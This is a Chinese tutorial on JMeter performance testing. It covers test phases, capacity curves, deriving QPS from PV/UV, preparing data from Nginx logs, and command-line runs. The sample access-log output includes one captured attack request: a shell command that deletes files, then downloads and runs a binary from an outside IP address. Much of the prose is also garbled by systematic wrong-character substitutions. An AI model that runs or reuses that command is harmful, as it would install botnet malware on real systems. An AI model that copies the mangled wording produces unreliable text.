编辑
1.1 测试步骤总览
需要剖析与测试设计（性能需求指标+业务模型拆解）
测试数据筹备和结构(基于模型的数据筹备)
性能指标预期(性能需求指标)
发压工具配置及脚本编写（压力策略）
测试过程（预计的前置筹备过程和压测工夫点布局）
后果剖析与测试报告
1.2 测试模型剖析
如下的测试模型来简略的阐明测试中须要关注的点和测试的目标
编辑
字段阐明
1、横轴 : 代表并发数，也就对应着Jmeter外面的线程数
2、Utizilation(U) :资源利用率
3、Throughput(X): 吞吐量，对应QPS或TPS
4、ResponseTime® ：响应工夫
拐点 剖析：
第一条虚线处的拐点代表着随着并发数的减少，资源利用率(CPU资源等)和吞吐量也在随同着递增， 这个时候咱们的响应工夫有小幅度的减少，然而在可承受的范畴之内；在这个点是做容量布局最好的参考点
第二条虚线处的拐点示意随着并发数的持续减少，系统资源曾经达到了瓶颈，吞吐量开始显著降落，响应工夫会大幅减少，也就是说曾经达到了性能的瓶颈，申请队列开始挤压，这个时候曾经重大影响用户体验或者有零碎解体的危险。
编辑
2.1 需要剖析与测试设计
此处从性能需求指标与业务模型拆解两方面着手，
1、指标场景分类：
新上线零碎性能测试：要求容量测试，零碎最大容量系统升级类性能测试：和基线版本比照，性能不降落新零碎性能优化测试：随同调优指标的性能测试注：在前面的演示中，会以新零碎上线的容量测试为例，指标为获取零碎最大容量
字段阐明：基准测试：见下图，我的了解就是性能测试，找到最优的QPS(TPS)点
编辑
容量测试 ：见下图，我的了解为压力测试，在达到性能瓶颈后持续加压，测试零碎的最大承载量
编辑
新零碎想要确定测试基准，就须要拿到数据，而产品个别是不会间接通知咱们QPS 的，产品会通知咱们 PV/UV 天。
依据 PV 、UV 再联合业务场景来计算确认咱们的测试需要；将其转化为小时或分钟，或秒；另外业务场景可能会几种在某个时间段，比方工作日的8个小时工夫：
UV ：或者外卖产品则集中在午饭和晚饭的2个小时时间段，如果UV 为1000w/天，那么顶峰时段占了总用户数的80%：
1000w 80% / (43600) = 每秒的并发用户数
PV ：PV 能够间接对应到QPS指标，好比一个电商产品，产品别离给出了首页、商品页、订单页的PV，便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600
2、依据具体的性能测试需要，确定测试类型以及压测的模块(web/mysql/redis/零碎整体)
3、后期要与相干人员充沛沟通，初步确定压测计划及具体性能指标
4、QA实现性能测试设计后，需产出测试计划文档发送邮件到项目组，并且再次与相干人员沟通(或者组织性能测试评审)，确认是否满足需要
2.2、测试数据筹备和结构
数据的筹备能够如下几点：
1、接口申请参数：本人结构、日志获取、高低关联
本人结构 ：本人抓包等，这个有个问题就是后端可能有缓存而造成对理论压力水平的影响日志获取：举荐罕用，通过日志或数据库获取大批量的数据而后打散例如，咱们的申请是通过Nginx转发的，那么能够通过Nginx的日志来获取申请数据,现有如下的log：
编辑
当初咱们能够利用Linux 三剑客中的awk 命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的申请：
$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
8 http://www.baidu.com/cache/gl...
5 /index.php
4 mstshash=Administr"
4 /license.txt
4 ip.ws.126.net:443
4 "
2 /sso/getAuthCode?telephone=17138134641
2 /sso/getAuthCode?telephone=17127460936
2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
高低关联：有些数据咱们是无奈提前获取的，好比用户的订单数据和购物车数据，这些须要用户下单后生成，因而就须要在下单接口后通过高低关联的接口返回值来获取
2、数据表的数据填充 ：
能够利用jmeter的高并发通过接口来提前创立数据
3、如果是多接口，则须要联合业务场景设计申请比例 ：
比方用户浏览主页的PV和浏览商户的比例为1：2，那么接口的比例设计也就依照1：2来设计。
2.3、性能指标预期
1.每秒申请数（QPS）2.申请响应工夫（最大，最小，平均值）3.错误率4.机器性能：cpu idel30%,memory无激烈抖动或飙升5.压测过程接口性能是否失常6.不同性能测试形式下指标预期是否有差别2.4、发压工具配置及脚本编写
1.发压工具筹备-jmeter简介(1) 集成包，解压即可应用，Windowns, Linux, Mac通用（依赖Java环境）(2) jmx文件为xml文件，Win，Linux环境均可运行(3) 多线程并发(4) 运行完脚本会生成jtl日志，可在Win、Mac环境界面中查看、统计
应用jmeter能够做到：
压测场景 ：单接口/复杂事物——>场景结构压力需要 ：<1000QPS 或者万级以上的应用Jmeter 分布式反对的形式是否周期性 ：Jmeter jmx场景文件，数据驱动，后果落库二次开发需要 ：Jmeter开源插件化思维，反对Thrift协定反对 ：Dubbo等多种协定，能够疾速平台化问题反对 ：凋谢社区，宽泛应用2.脚本编写
(1) HTTP
(2) 其余
3.命令启动，Jmeter 自身也是软件，也有本人的承载限度，所以真正测试过程还是要以命令行运行的形式，UI 能够作为编写和调试脚本应用
启压：./jmeter -n -t hb.jmx-l hb.jtl
2.5 测试过程
1、测试前环境查看：记录机器参数2、起压：依据被压状况，调节并发量到适合状况3、查看记录各项性能指标nginx 日志查看每秒申请数查看nginx 谬误申请查看机器参数：cpu idel、mem 等查看db 、cache 等数据是否写入失常拜访接口，查看性能是否失常2.6 后果剖析与测试报告
1、依据测试过程中记录的各项参数，联合压测工具产生的日志，对测试后果进行剖析，并产出测试报告
2、测试实现后，及时与相干人员沟通，确认是都满足需要
3、发送测试报告邮件
以上只是做了个性能测试的基础知识铺垫，后续在此实践根底上，以电商业务为背景，联合 Docker +Jmeter +Influx +Grafana 实现一个实例压测与监控~